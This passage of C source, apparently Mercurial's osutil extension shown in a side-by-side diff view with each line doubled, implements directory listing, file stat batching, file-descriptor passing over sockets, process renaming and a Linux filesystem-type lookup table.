557 /* quit early? */
558 /* quit early? */
558 if (skip && kind == S_IFDIR && !strcmp(filename, skip)) {
559 if (skip && kind == S_IFDIR && !strcmp(filename, skip)) {
559 ret = PyList_New(0);
560 ret = PyList_New(0);
560 goto error;
561 goto error;
561 }
562 }
562
563
563 if (keepstat) {
564 if (keepstat) {
564 /* from the getattrlist(2) man page: "Only the
565 /* from the getattrlist(2) man page: "Only the
565 permission bits ... are valid". */
566 permission bits ... are valid". */
566 st.st_mode = (entry->access_mask & ~S_IFMT) | kind;
567 st.st_mode = (entry->access_mask & ~S_IFMT) | kind;
567 st.st_mtime = entry->mtime.tv_sec;
568 st.st_mtime = entry->mtime.tv_sec;
568 st.st_size = entry->size;
569 st.st_size = entry->size;
569 stat = makestat(&st);
570 stat = makestat(&st);
570 if (!stat)
571 if (!stat)
571 goto error;
572 goto error;
572 elem = Py_BuildValue("siN", filename, kind, stat);
573 elem = Py_BuildValue("siN", filename, kind, stat);
573 } else
574 } else
574 elem = Py_BuildValue("si", filename, kind);
575 elem = Py_BuildValue("si", filename, kind);
575 if (!elem)
576 if (!elem)
576 goto error;
577 goto error;
577 stat = NULL;
578 stat = NULL;
578
579
579 PyList_Append(list, elem);
580 PyList_Append(list, elem);
580 Py_DECREF(elem);
581 Py_DECREF(elem);
581
582
582 entry = (attrbuf_entry *)((char *)entry + entry->length);
583 entry = (attrbuf_entry *)((char *)entry + entry->length);
583 }
584 }
584 } while (err == 0);
585 } while (err == 0);
585
586
586 ret = list;
587 ret = list;
587 Py_INCREF(ret);
588 Py_INCREF(ret);
588
589
589 error:
590 error:
590 Py_DECREF(list);
591 Py_DECREF(list);
591 Py_XDECREF(stat);
592 Py_XDECREF(stat);
592 error_dir:
593 error_dir:
593 close(dfd);
594 close(dfd);
594 error_value:
595 error_value:
595 return ret;
596 return ret;
596 }
597 }
597
598
598 #endif /* __APPLE__ */
599 #endif /* __APPLE__ */
599
600
600 static PyObject *_listdir(char *path, int pathlen, int keepstat, char *skip)
601 static PyObject *_listdir(char *path, int pathlen, int keepstat, char *skip)
601 {
602 {
602 #ifdef __APPLE__
603 #ifdef __APPLE__
603 PyObject *ret;
604 PyObject *ret;
604 bool fallback = false;
605 bool fallback = false;
605
606
606 ret = _listdir_batch(path, pathlen, keepstat, skip, &fallback);
607 ret = _listdir_batch(path, pathlen, keepstat, skip, &fallback);
607 if (ret != NULL || !fallback)
608 if (ret != NULL || !fallback)
608 return ret;
609 return ret;
609 #endif
610 #endif
610 return _listdir_stat(path, pathlen, keepstat, skip);
611 return _listdir_stat(path, pathlen, keepstat, skip);
611 }
612 }
612
613
613 static PyObject *statfiles(PyObject *self, PyObject *args)
614 static PyObject *statfiles(PyObject *self, PyObject *args)
614 {
615 {
615 PyObject *names, *stats;
616 PyObject *names, *stats;
616 Py_ssize_t i, count;
617 Py_ssize_t i, count;
617
618
618 if (!PyArg_ParseTuple(args, "O:statfiles", &names))
619 if (!PyArg_ParseTuple(args, "O:statfiles", &names))
619 return NULL;
620 return NULL;
620
621
621 count = PySequence_Length(names);
622 count = PySequence_Length(names);
622 if (count == -1) {
623 if (count == -1) {
623 PyErr_SetString(PyExc_TypeError, "not a sequence");
624 PyErr_SetString(PyExc_TypeError, "not a sequence");
624 return NULL;
625 return NULL;
625 }
626 }
626
627
627 stats = PyList_New(count);
628 stats = PyList_New(count);
628 if (stats == NULL)
629 if (stats == NULL)
629 return NULL;
630 return NULL;
630
631
631 for (i = 0; i < count; i++) {
632 for (i = 0; i < count; i++) {
632 PyObject *stat, *pypath;
633 PyObject *stat, *pypath;
633 struct stat st;
634 struct stat st;
634 int ret, kind;
635 int ret, kind;
635 char *path;
636 char *path;
636
637
637 /* With a large file count or on a slow filesystem,
638 /* With a large file count or on a slow filesystem,
638 don't block signals for long (issue4878). */
639 don't block signals for long (issue4878). */
639 if ((i % 1000) == 999 && PyErr_CheckSignals() == -1)
640 if ((i % 1000) == 999 && PyErr_CheckSignals() == -1)
640 goto bail;
641 goto bail;
641
642
642 pypath = PySequence_GetItem(names, i);
643 pypath = PySequence_GetItem(names, i);
643 if (!pypath)
644 if (!pypath)
644 goto bail;
645 goto bail;
645 path = PyBytes_AsString(pypath);
646 path = PyBytes_AsString(pypath);
646 if (path == NULL) {
647 if (path == NULL) {
647 Py_DECREF(pypath);
648 Py_DECREF(pypath);
648 PyErr_SetString(PyExc_TypeError, "not a string");
649 PyErr_SetString(PyExc_TypeError, "not a string");
649 goto bail;
650 goto bail;
650 }
651 }
651 ret = lstat(path, &st);
652 ret = lstat(path, &st);
652 Py_DECREF(pypath);
653 Py_DECREF(pypath);
653 kind = st.st_mode & S_IFMT;
654 kind = st.st_mode & S_IFMT;
654 if (ret != -1 && (kind == S_IFREG || kind == S_IFLNK)) {
655 if (ret != -1 && (kind == S_IFREG || kind == S_IFLNK)) {
655 stat = makestat(&st);
656 stat = makestat(&st);
656 if (stat == NULL)
657 if (stat == NULL)
657 goto bail;
658 goto bail;
658 PyList_SET_ITEM(stats, i, stat);
659 PyList_SET_ITEM(stats, i, stat);
659 } else {
660 } else {
660 Py_INCREF(Py_None);
661 Py_INCREF(Py_None);
661 PyList_SET_ITEM(stats, i, Py_None);
662 PyList_SET_ITEM(stats, i, Py_None);
662 }
663 }
663 }
664 }
664
665
665 return stats;
666 return stats;
666
667
667 bail:
668 bail:
668 Py_DECREF(stats);
669 Py_DECREF(stats);
669 return NULL;
670 return NULL;
670 }
671 }
671
672
672 /*
673 /*
673 * recvfds() simply does not release GIL during blocking io operation because
674 * recvfds() simply does not release GIL during blocking io operation because
674 * command server is known to be single-threaded.
675 * command server is known to be single-threaded.
675 *
676 *
676 * Old systems such as Solaris don't provide CMSG_LEN, msg_control, etc.
677 * Old systems such as Solaris don't provide CMSG_LEN, msg_control, etc.
677 * Currently, recvfds() is not supported on these platforms.
678 * Currently, recvfds() is not supported on these platforms.
678 */
679 */
679 #ifdef CMSG_LEN
680 #ifdef CMSG_LEN
680
681
681 static ssize_t recvfdstobuf(int sockfd, int **rfds, void *cbuf, size_t cbufsize)
682 static ssize_t recvfdstobuf(int sockfd, int **rfds, void *cbuf, size_t cbufsize)
682 {
683 {
683 char dummy[1];
684 char dummy[1];
684 struct iovec iov = {dummy, sizeof(dummy)};
685 struct iovec iov = {dummy, sizeof(dummy)};
685 struct msghdr msgh = {0};
686 struct msghdr msgh = {0};
686 struct cmsghdr *cmsg;
687 struct cmsghdr *cmsg;
687
688
688 msgh.msg_iov = &iov;
689 msgh.msg_iov = &iov;
689 msgh.msg_iovlen = 1;
690 msgh.msg_iovlen = 1;
690 msgh.msg_control = cbuf;
691 msgh.msg_control = cbuf;
691 msgh.msg_controllen = (socklen_t)cbufsize;
692 msgh.msg_controllen = (socklen_t)cbufsize;
692 if (recvmsg(sockfd, &msgh, 0) < 0)
693 if (recvmsg(sockfd, &msgh, 0) < 0)
693 return -1;
694 return -1;
694
695
695 for (cmsg = CMSG_FIRSTHDR(&msgh); cmsg;
696 for (cmsg = CMSG_FIRSTHDR(&msgh); cmsg;
696 cmsg = CMSG_NXTHDR(&msgh, cmsg)) {
697 cmsg = CMSG_NXTHDR(&msgh, cmsg)) {
697 if (cmsg->cmsg_level != SOL_SOCKET ||
698 if (cmsg->cmsg_level != SOL_SOCKET ||
698 cmsg->cmsg_type != SCM_RIGHTS)
699 cmsg->cmsg_type != SCM_RIGHTS)
699 continue;
700 continue;
700 *rfds = (int *)CMSG_DATA(cmsg);
701 *rfds = (int *)CMSG_DATA(cmsg);
701 return (cmsg->cmsg_len - CMSG_LEN(0)) / sizeof(int);
702 return (cmsg->cmsg_len - CMSG_LEN(0)) / sizeof(int);
702 }
703 }
703
704
704 *rfds = cbuf;
705 *rfds = cbuf;
705 return 0;
706 return 0;
706 }
707 }
707
708
708 static PyObject *recvfds(PyObject *self, PyObject *args)
709 static PyObject *recvfds(PyObject *self, PyObject *args)
709 {
710 {
710 int sockfd;
711 int sockfd;
711 int *rfds = NULL;
712 int *rfds = NULL;
712 ssize_t rfdscount, i;
713 ssize_t rfdscount, i;
713 char cbuf[256];
714 char cbuf[256];
714 PyObject *rfdslist = NULL;
715 PyObject *rfdslist = NULL;
715
716
716 if (!PyArg_ParseTuple(args, "i", &sockfd))
717 if (!PyArg_ParseTuple(args, "i", &sockfd))
717 return NULL;
718 return NULL;
718
719
719 rfdscount = recvfdstobuf(sockfd, &rfds, cbuf, sizeof(cbuf));
720 rfdscount = recvfdstobuf(sockfd, &rfds, cbuf, sizeof(cbuf));
720 if (rfdscount < 0)
721 if (rfdscount < 0)
721 return PyErr_SetFromErrno(PyExc_OSError);
722 return PyErr_SetFromErrno(PyExc_OSError);
722
723
723 rfdslist = PyList_New(rfdscount);
724 rfdslist = PyList_New(rfdscount);
724 if (!rfdslist)
725 if (!rfdslist)
725 goto bail;
726 goto bail;
726 for (i = 0; i < rfdscount; i++) {
727 for (i = 0; i < rfdscount; i++) {
727 PyObject *obj = PyLong_FromLong(rfds[i]);
728 PyObject *obj = PyLong_FromLong(rfds[i]);
728 if (!obj)
729 if (!obj)
729 goto bail;
730 goto bail;
730 PyList_SET_ITEM(rfdslist, i, obj);
731 PyList_SET_ITEM(rfdslist, i, obj);
731 }
732 }
732 return rfdslist;
733 return rfdslist;
733
734
734 bail:
735 bail:
735 Py_XDECREF(rfdslist);
736 Py_XDECREF(rfdslist);
736 return NULL;
737 return NULL;
737 }
738 }
738
739
739 #endif /* CMSG_LEN */
740 #endif /* CMSG_LEN */
740
741
741 #if defined(HAVE_SETPROCTITLE)
742 #if defined(HAVE_SETPROCTITLE)
742 /* setproctitle is the first choice - available in FreeBSD */
743 /* setproctitle is the first choice - available in FreeBSD */
743 #define SETPROCNAME_USE_SETPROCTITLE
744 #define SETPROCNAME_USE_SETPROCTITLE
744 #elif (defined(__linux__) || defined(__APPLE__)) && PY_MAJOR_VERSION == 2
745 #elif (defined(__linux__) || defined(__APPLE__)) && PY_MAJOR_VERSION == 2
745 /* rewrite the argv buffer in place - works in Linux and OS X. Py_GetArgcArgv
746 /* rewrite the argv buffer in place - works in Linux and OS X. Py_GetArgcArgv
746 * in Python 3 returns the copied wchar_t **argv, thus unsupported. */
747 * in Python 3 returns the copied wchar_t **argv, thus unsupported. */
747 #define SETPROCNAME_USE_ARGVREWRITE
748 #define SETPROCNAME_USE_ARGVREWRITE
748 #else
749 #else
749 #define SETPROCNAME_USE_NONE
750 #define SETPROCNAME_USE_NONE
750 #endif
751 #endif
751
752
752 #ifndef SETPROCNAME_USE_NONE
753 #ifndef SETPROCNAME_USE_NONE
753 static PyObject *setprocname(PyObject *self, PyObject *args)
754 static PyObject *setprocname(PyObject *self, PyObject *args)
754 {
755 {
755 const char *name = NULL;
756 const char *name = NULL;
756 if (!PyArg_ParseTuple(args, "s", &name))
757 if (!PyArg_ParseTuple(args, "s", &name))
757 return NULL;
758 return NULL;
758
759
759 #if defined(SETPROCNAME_USE_SETPROCTITLE)
760 #if defined(SETPROCNAME_USE_SETPROCTITLE)
760 setproctitle("%s", name);
761 setproctitle("%s", name);
761 #elif defined(SETPROCNAME_USE_ARGVREWRITE)
762 #elif defined(SETPROCNAME_USE_ARGVREWRITE)
762 {
763 {
763 static char *argvstart = NULL;
764 static char *argvstart = NULL;
764 static size_t argvsize = 0;
765 static size_t argvsize = 0;
765 if (argvstart == NULL) {
766 if (argvstart == NULL) {
766 int argc = 0, i;
767 int argc = 0, i;
767 char **argv = NULL;
768 char **argv = NULL;
768 char *argvend;
769 char *argvend;
769 extern void Py_GetArgcArgv(int *argc, char ***argv);
770 extern void Py_GetArgcArgv(int *argc, char ***argv);
770 Py_GetArgcArgv(&argc, &argv);
771 Py_GetArgcArgv(&argc, &argv);
771
772
772 /* Check the memory we can use. Typically, argv[i] and
773 /* Check the memory we can use. Typically, argv[i] and
773 * argv[i + 1] are continuous. */
774 * argv[i + 1] are continuous. */
774 argvend = argvstart = argv[0];
775 argvend = argvstart = argv[0];
775 for (i = 0; i < argc; ++i) {
776 for (i = 0; i < argc; ++i) {
776 if (argv[i] > argvend || argv[i] < argvstart)
777 if (argv[i] > argvend || argv[i] < argvstart)
777 break; /* not continuous */
778 break; /* not continuous */
778 size_t len = strlen(argv[i]);
779 size_t len = strlen(argv[i]);
779 argvend = argv[i] + len + 1 /* '\0' */;
780 argvend = argv[i] + len + 1 /* '\0' */;
780 }
781 }
781 if (argvend > argvstart) /* sanity check */
782 if (argvend > argvstart) /* sanity check */
782 argvsize = argvend - argvstart;
783 argvsize = argvend - argvstart;
783 }
784 }
784
785
785 if (argvstart && argvsize > 1) {
786 if (argvstart && argvsize > 1) {
786 int n = snprintf(argvstart, argvsize, "%s", name);
787 int n = snprintf(argvstart, argvsize, "%s", name);
787 if (n >= 0 && (size_t)n < argvsize)
788 if (n >= 0 && (size_t)n < argvsize)
788 memset(argvstart + n, 0, argvsize - n);
789 memset(argvstart + n, 0, argvsize - n);
789 }
790 }
790 }
791 }
791 #endif
792 #endif
792
793
793 Py_RETURN_NONE;
794 Py_RETURN_NONE;
794 }
795 }
795 #endif /* ndef SETPROCNAME_USE_NONE */
796 #endif /* ndef SETPROCNAME_USE_NONE */
796
797
797 #if defined(HAVE_BSD_STATFS)
798 #if defined(HAVE_BSD_STATFS)
798 static const char *describefstype(const struct statfs *pbuf)
799 static const char *describefstype(const struct statfs *pbuf)
799 {
800 {
800 /* BSD or OSX provides a f_fstypename field */
801 /* BSD or OSX provides a f_fstypename field */
801 return pbuf->f_fstypename;
802 return pbuf->f_fstypename;
802 }
803 }
803 #elif defined(HAVE_LINUX_STATFS)
804 #elif defined(HAVE_LINUX_STATFS)
804 static const char *describefstype(const struct statfs *pbuf)
805 static const char *describefstype(const struct statfs *pbuf)
805 {
806 {
806 /* Begin of Linux filesystems */
807 /* Begin of Linux filesystems */
807 #ifdef ADFS_SUPER_MAGIC
808 #ifdef ADFS_SUPER_MAGIC
808 if (pbuf->f_type == ADFS_SUPER_MAGIC)
809 if (pbuf->f_type == ADFS_SUPER_MAGIC)
809 return "adfs";
810 return "adfs";
810 #endif
811 #endif
811 #ifdef AFFS_SUPER_MAGIC
812 #ifdef AFFS_SUPER_MAGIC
812 if (pbuf->f_type == AFFS_SUPER_MAGIC)
813 if (pbuf->f_type == AFFS_SUPER_MAGIC)
813 return "affs";
814 return "affs";
814 #endif
815 #endif
815 #ifdef AUTOFS_SUPER_MAGIC
816 #ifdef AUTOFS_SUPER_MAGIC
816 if (pbuf->f_type == AUTOFS_SUPER_MAGIC)
817 if (pbuf->f_type == AUTOFS_SUPER_MAGIC)
817 return "autofs";
818 return "autofs";
818 #endif
819 #endif
819 #ifdef BDEVFS_MAGIC
820 #ifdef BDEVFS_MAGIC
820 if (pbuf->f_type == BDEVFS_MAGIC)
821 if (pbuf->f_type == BDEVFS_MAGIC)
821 return "bdevfs";
822 return "bdevfs";
822 #endif
823 #endif
823 #ifdef BEFS_SUPER_MAGIC
824 #ifdef BEFS_SUPER_MAGIC
824 if (pbuf->f_type == BEFS_SUPER_MAGIC)
825 if (pbuf->f_type == BEFS_SUPER_MAGIC)
825 return "befs";
826 return "befs";
826 #endif
827 #endif
827 #ifdef BFS_MAGIC
828 #ifdef BFS_MAGIC
828 if (pbuf->f_type == BFS_MAGIC)
829 if (pbuf->f_type == BFS_MAGIC)
829 return "bfs";
830 return "bfs";
830 #endif
831 #endif
831 #ifdef BINFMTFS_MAGIC
832 #ifdef BINFMTFS_MAGIC
832 if (pbuf->f_type == BINFMTFS_MAGIC)
833 if (pbuf->f_type == BINFMTFS_MAGIC)
833 return "binfmtfs";
834 return "binfmtfs";
834 #endif
835 #endif
835 #ifdef BTRFS_SUPER_MAGIC
836 #ifdef BTRFS_SUPER_MAGIC
836 if (pbuf->f_type == BTRFS_SUPER_MAGIC)
837 if (pbuf->f_type == BTRFS_SUPER_MAGIC)
837 return "btrfs";
838 return "btrfs";
838 #endif
839 #endif
839 #ifdef CGROUP_SUPER_MAGIC
840 #ifdef CGROUP_SUPER_MAGIC
840 if (pbuf->f_type == CGROUP_SUPER_MAGIC)
841 if (pbuf->f_type == CGROUP_SUPER_MAGIC)
841 return "cgroup";
842 return "cgroup";
842 #endif
843 #endif
843 #ifdef CIFS_MAGIC_NUMBER
844 #ifdef CIFS_MAGIC_NUMBER
844 if (pbuf->f_type == CIFS_MAGIC_NUMBER)
845 if (pbuf->f_type == CIFS_MAGIC_NUMBER)
845 return "cifs";
846 return "cifs";
846 #endif
847 #endif
847 #ifdef CODA_SUPER_MAGIC
848 #ifdef CODA_SUPER_MAGIC
848 if (pbuf->f_type == CODA_SUPER_MAGIC)
849 if (pbuf->f_type == CODA_SUPER_MAGIC)
849 return "coda";
850 return "coda";
850 #endif
851 #endif
851 #ifdef COH_SUPER_MAGIC
852 #ifdef COH_SUPER_MAGIC
852 if (pbuf->f_type == COH_SUPER_MAGIC)
853 if (pbuf->f_type == COH_SUPER_MAGIC)
853 return "coh";
854 return "coh";
854 #endif
855 #endif
855 #ifdef CRAMFS_MAGIC
856 #ifdef CRAMFS_MAGIC
856 if (pbuf->f_type == CRAMFS_MAGIC)
857 if (pbuf->f_type == CRAMFS_MAGIC)
857 return "cramfs";
858 return "cramfs";
858 #endif
859 #endif
859 #ifdef DEBUGFS_MAGIC
860 #ifdef DEBUGFS_MAGIC
860 if (pbuf->f_type == DEBUGFS_MAGIC)
861 if (pbuf->f_type == DEBUGFS_MAGIC)
861 return "debugfs";
862 return "debugfs";
862 #endif
863 #endif
863 #ifdef DEVFS_SUPER_MAGIC
864 #ifdef DEVFS_SUPER_MAGIC
864 if (pbuf->f_type == DEVFS_SUPER_MAGIC)
865 if (pbuf->f_type == DEVFS_SUPER_MAGIC)
865 return "devfs";
866 return "devfs";
866 #endif
867 #endif
867 #ifdef DEVPTS_SUPER_MAGIC
868 #ifdef DEVPTS_SUPER_MAGIC
868 if (pbuf->f_type == DEVPTS_SUPER_MAGIC)
869 if (pbuf->f_type == DEVPTS_SUPER_MAGIC)
869 return "devpts";
870 return "devpts";
870 #endif
871 #endif
871 #ifdef EFIVARFS_MAGIC
872 #ifdef EFIVARFS_MAGIC
872 if (pbuf->f_type == EFIVARFS_MAGIC)
873 if (pbuf->f_type == EFIVARFS_MAGIC)
873 return "efivarfs";
874 return "efivarfs";
874 #endif
875 #endif
875 #ifdef EFS_SUPER_MAGIC
876 #ifdef EFS_SUPER_MAGIC
876 if (pbuf->f_type == EFS_SUPER_MAGIC)
877 if (pbuf->f_type == EFS_SUPER_MAGIC)
877 return "efs";
878 return "efs";
878 #endif
879 #endif
879 #ifdef EXT_SUPER_MAGIC
880 #ifdef EXT_SUPER_MAGIC
880 if (pbuf->f_type == EXT_SUPER_MAGIC)
881 if (pbuf->f_type == EXT_SUPER_MAGIC)
881 return "ext";
882 return "ext";
882 #endif
883 #endif
883 #ifdef EXT2_OLD_SUPER_MAGIC
884 #ifdef EXT2_OLD_SUPER_MAGIC
884 if (pbuf->f_type == EXT2_OLD_SUPER_MAGIC)
885 if (pbuf->f_type == EXT2_OLD_SUPER_MAGIC)
885 return "ext2";
886 return "ext2";
886 #endif
887 #endif
887 #ifdef EXT2_SUPER_MAGIC
888 #ifdef EXT2_SUPER_MAGIC
888 if (pbuf->f_type == EXT2_SUPER_MAGIC)
889 if (pbuf->f_type == EXT2_SUPER_MAGIC)
889 return "ext2";
890 return "ext2";
890 #endif
891 #endif
891 #ifdef EXT3_SUPER_MAGIC
892 #ifdef EXT3_SUPER_MAGIC
892 if (pbuf->f_type == EXT3_SUPER_MAGIC)
893 if (pbuf->f_type == EXT3_SUPER_MAGIC)
893 return "ext3";
894 return "ext3";
894 #endif
895 #endif
895 #ifdef EXT4_SUPER_MAGIC
896 #ifdef EXT4_SUPER_MAGIC
896 if (pbuf->f_type == EXT4_SUPER_MAGIC)
897 if (pbuf->f_type == EXT4_SUPER_MAGIC)
897 return "ext4";
898 return "ext4";
898 #endif
899 #endif
899 #ifdef F2FS_SUPER_MAGIC
900 #ifdef F2FS_SUPER_MAGIC
900 if (pbuf->f_type == F2FS_SUPER_MAGIC)
901 if (pbuf->f_type == F2FS_SUPER_MAGIC)
901 return "f2fs";
902 return "f2fs";
902 #endif
903 #endif
903 #ifdef FUSE_SUPER_MAGIC
904 #ifdef FUSE_SUPER_MAGIC
904 if (pbuf->f_type == FUSE_SUPER_MAGIC)
905 if (pbuf->f_type == FUSE_SUPER_MAGIC)
905 return "fuse";
906 return "fuse";
906 #endif
907 #endif
907 #ifdef FUTEXFS_SUPER_MAGIC
908 #ifdef FUTEXFS_SUPER_MAGIC
908 if (pbuf->f_type == FUTEXFS_SUPER_MAGIC)
909 if (pbuf->f_type == FUTEXFS_SUPER_MAGIC)
909 return "futexfs";
910 return "futexfs";
910 #endif
911 #endif
911 #ifdef HFS_SUPER_MAGIC
912 #ifdef HFS_SUPER_MAGIC
912 if (pbuf->f_type == HFS_SUPER_MAGIC)
913 if (pbuf->f_type == HFS_SUPER_MAGIC)
913 return "hfs";
914 return "hfs";
914 #endif
915 #endif
915 #ifdef HOSTFS_SUPER_MAGIC
916 #ifdef HOSTFS_SUPER_MAGIC
916 if (pbuf->f_type == HOSTFS_SUPER_MAGIC)
917 if (pbuf->f_type == HOSTFS_SUPER_MAGIC)
917 return "hostfs";
918 return "hostfs";
918 #endif
919 #endif
919 #ifdef HPFS_SUPER_MAGIC
920 #ifdef HPFS_SUPER_MAGIC
920 if (pbuf->f_type == HPFS_SUPER_MAGIC)
921 if (pbuf->f_type == HPFS_SUPER_MAGIC)
921 return "hpfs";
922 return "hpfs";
922 #endif
923 #endif
923 #ifdef HUGETLBFS_MAGIC
924 #ifdef HUGETLBFS_MAGIC
924 if (pbuf->f_type == HUGETLBFS_MAGIC)
925 if (pbuf->f_type == HUGETLBFS_MAGIC)
925 return "hugetlbfs";
926 return "hugetlbfs";
926 #endif
927 #endif
927 #ifdef ISOFS_SUPER_MAGIC
928 #ifdef ISOFS_SUPER_MAGIC
928 if (pbuf->f_type == ISOFS_SUPER_MAGIC)
929 if (pbuf->f_type == ISOFS_SUPER_MAGIC)
929 return "isofs";
930 return "isofs";
930 #endif
931 #endif
931 #ifdef JFFS2_SUPER_MAGIC
932 #ifdef JFFS2_SUPER_MAGIC
932 if (pbuf->f_type == JFFS2_SUPER_MAGIC)
933 if (pbuf->f_type == JFFS2_SUPER_MAGIC)
933 return "jffs2";
934 return "jffs2";
934 #endif
935 #endif
935 #ifdef JFS_SUPER_MAGIC
936 #ifdef JFS_SUPER_MAGIC
936 if (pbuf->f_type == JFS_SUPER_MAGIC)
937 if (pbuf->f_type == JFS_SUPER_MAGIC)
937 return "jfs";
938 return "jfs";
938 #endif
939 #endif
939 #ifdef MINIX_SUPER_MAGIC
940 #ifdef MINIX_SUPER_MAGIC
940 if (pbuf->f_type == MINIX_SUPER_MAGIC)
941 if (pbuf->f_type == MINIX_SUPER_MAGIC)
941 return "minix";
942 return "minix";
942 #endif
943 #endif
943 #ifdef MINIX2_SUPER_MAGIC
944 #ifdef MINIX2_SUPER_MAGIC
944 if (pbuf->f_type == MINIX2_SUPER_MAGIC)
945 if (pbuf->f_type == MINIX2_SUPER_MAGIC)
945 return "minix2";
946 return "minix2";
946 #endif
947 #endif
947 #ifdef MINIX3_SUPER_MAGIC
948 #ifdef MINIX3_SUPER_MAGIC
948 if (pbuf->f_type == MINIX3_SUPER_MAGIC)
949 if (pbuf->f_type == MINIX3_SUPER_MAGIC)
949 return "minix3";
950 return "minix3";
950 #endif
951 #endif
951 #ifdef MQUEUE_MAGIC
952 #ifdef MQUEUE_MAGIC
952 if (pbuf->f_type == MQUEUE_MAGIC)
953 if (pbuf->f_type == MQUEUE_MAGIC)
953 return "mqueue";
954 return "mqueue";
954 #endif
955 #endif
955 #ifdef MSDOS_SUPER_MAGIC
956 #ifdef MSDOS_SUPER_MAGIC
956 if (pbuf->f_type == MSDOS_SUPER_MAGIC)
957 if (pbuf->f_type == MSDOS_SUPER_MAGIC)
957 return "msdos";
958 return "msdos";
958 #endif
959 #endif
959 #ifdef NCP_SUPER_MAGIC
960 #ifdef NCP_SUPER_MAGIC
960 if (pbuf->f_type == NCP_SUPER_MAGIC)
961 if (pbuf->f_type == NCP_SUPER_MAGIC)
961 return "ncp";
962 return "ncp";
962 #endif
963 #endif
963 #ifdef NFS_SUPER_MAGIC
964 #ifdef NFS_SUPER_MAGIC
964 if (pbuf->f_type == NFS_SUPER_MAGIC)
965 if (pbuf->f_type == NFS_SUPER_MAGIC)
965 return "nfs";
966 return "nfs";
966 #endif
967 #endif
967 #ifdef NILFS_SUPER_MAGIC
968 #ifdef NILFS_SUPER_MAGIC
968 if (pbuf->f_type == NILFS_SUPER_MAGIC)
969 if (pbuf->f_type == NILFS_SUPER_MAGIC)
969 return "nilfs";
970 return "nilfs";
970 #endif
971 #endif
971 #ifdef NTFS_SB_MAGIC
972 #ifdef NTFS_SB_MAGIC
972 if (pbuf->f_type == NTFS_SB_MAGIC)
973 if (pbuf->f_type == NTFS_SB_MAGIC)
973 return "ntfs-sb";
974 return "ntfs-sb";
974 #endif
975 #endif
975 #ifdef OCFS2_SUPER_MAGIC
976 #ifdef OCFS2_SUPER_MAGIC
976 if (pbuf->f_type == OCFS2_SUPER_MAGIC)
977 if (pbuf->f_type == OCFS2_SUPER_MAGIC)
977 return "ocfs2";
978 return "ocfs2";
978 #endif
979 #endif
979 #ifdef OPENPROM_SUPER_MAGIC
980 #ifdef OPENPROM_SUPER_MAGIC
980 if (pbuf->f_type == OPENPROM_SUPER_MAGIC)
981 if (pbuf->f_type == OPENPROM_SUPER_MAGIC)
981 return "openprom";
982 return "openprom";
982 #endif
983 #endif
983 #ifdef OVERLAYFS_SUPER_MAGIC
984 #ifdef OVERLAYFS_SUPER_MAGIC
984 if (pbuf->f_type == OVERLAYFS_SUPER_MAGIC)
985 if (pbuf->f_type == OVERLAYFS_SUPER_MAGIC)
985 return "overlay";
986 return "overlay";
986 #endif
987 #endif
987 #ifdef PIPEFS_MAGIC
988 #ifdef PIPEFS_MAGIC
988 if (pbuf->f_type == PIPEFS_MAGIC)
989 if (pbuf->f_type == PIPEFS_MAGIC)
989 return "pipefs";
990 return "pipefs";
990 #endif
991 #endif
991 #ifdef PROC_SUPER_MAGIC
992 #ifdef PROC_SUPER_MAGIC
992 if (pbuf->f_type == PROC_SUPER_MAGIC)
993 if (pbuf->f_type == PROC_SUPER_MAGIC)
993 return "proc";
994 return "proc";
994 #endif
995 #endif
995 #ifdef PSTOREFS_MAGIC
996 #ifdef PSTOREFS_MAGIC
996 if (pbuf->f_type == PSTOREFS_MAGIC)
997 if (pbuf->f_type == PSTOREFS_MAGIC)
997 return "pstorefs";
998 return "pstorefs";
998 #endif
999 #endif
999 #ifdef QNX4_SUPER_MAGIC
1000 #ifdef QNX4_SUPER_MAGIC
1000 if (pbuf->f_type == QNX4_SUPER_MAGIC)
1001 if (pbuf->f_type == QNX4_SUPER_MAGIC)
1001 return "qnx4";
1002 return "qnx4";
1002 #endif
1003 #endif
1003 #ifdef QNX6_SUPER_MAGIC
1004 #ifdef QNX6_SUPER_MAGIC
1004 if (pbuf->f_type == QNX6_SUPER_MAGIC)
1005 if (pbuf->f_type == QNX6_SUPER_MAGIC)
1005 return "qnx6";
1006 return "qnx6";
1006 #endif
1007 #endif
1007 #ifdef RAMFS_MAGIC
1008 #ifdef RAMFS_MAGIC
1008 if (pbuf->f_type == RAMFS_MAGIC)
1009 if (pbuf->f_type == RAMFS_MAGIC)
1009 return "ramfs";
1010 return "ramfs";
1010 #endif
1011 #endif
1011 #ifdef REISERFS_SUPER_MAGIC
1012 #ifdef REISERFS_SUPER_MAGIC
1012 if (pbuf->f_type == REISERFS_SUPER_MAGIC)
1013 if (pbuf->f_type == REISERFS_SUPER_MAGIC)
1013 return "reiserfs";
1014 return "reiserfs";
1014 #endif
1015 #endif
1015 #ifdef ROMFS_MAGIC
1016 #ifdef ROMFS_MAGIC
1016 if (pbuf->f_type == ROMFS_MAGIC)
1017 if (pbuf->f_type == ROMFS_MAGIC)
1017 return "romfs";
1018 return "romfs";
1018 #endif
1019 #endif
1019 #ifdef SECURITYFS_MAGIC
1020 #ifdef SECURITYFS_MAGIC
1020 if (pbuf->f_type == SECURITYFS_MAGIC)
1021 if (pbuf->f_type == SECURITYFS_MAGIC)
1021 return "securityfs";
1022 return "securityfs";
1022 #endif
1023 #endif
1023 #ifdef SELINUX_MAGIC
1024 #ifdef SELINUX_MAGIC
1024 if (pbuf->f_type == SELINUX_MAGIC)
1025 if (pbuf->f_type == SELINUX_MAGIC)
1025 return "selinux";
1026 return "selinux";
1026 #endif
1027 #endif
1027 #ifdef SMACK_MAGIC
1028 #ifdef SMACK_MAGIC
1028 if (pbuf->f_type == SMACK_MAGIC)
1029 if (pbuf->f_type == SMACK_MAGIC)
1029 return "smack";
1030 return "smack";
1030 #endif
1031 #endif
1031 #ifdef SMB_SUPER_MAGIC
1032 #ifdef SMB_SUPER_MAGIC
1032 if (pbuf->f_type == SMB_SUPER_MAGIC)
1033 if (pbuf->f_type == SMB_SUPER_MAGIC)
1033 return "smb";
1034 return "smb";
1034 #endif
1035 #endif
1035 #ifdef SOCKFS_MAGIC
1036 #ifdef SOCKFS_MAGIC
1036 if (pbuf->f_type == SOCKFS_MAGIC)
1037 if (pbuf->f_type == SOCKFS_MAGIC)
1037 return "sockfs";
1038 return "sockfs";
1038 #endif
1039 #endif
1039 #ifdef SQUASHFS_MAGIC
1040 #ifdef SQUASHFS_MAGIC
1040 if (pbuf->f_type == SQUASHFS_MAGIC)
1041 if (pbuf->f_type == SQUASHFS_MAGIC)
1041 return "squashfs";
1042 return "squashfs";
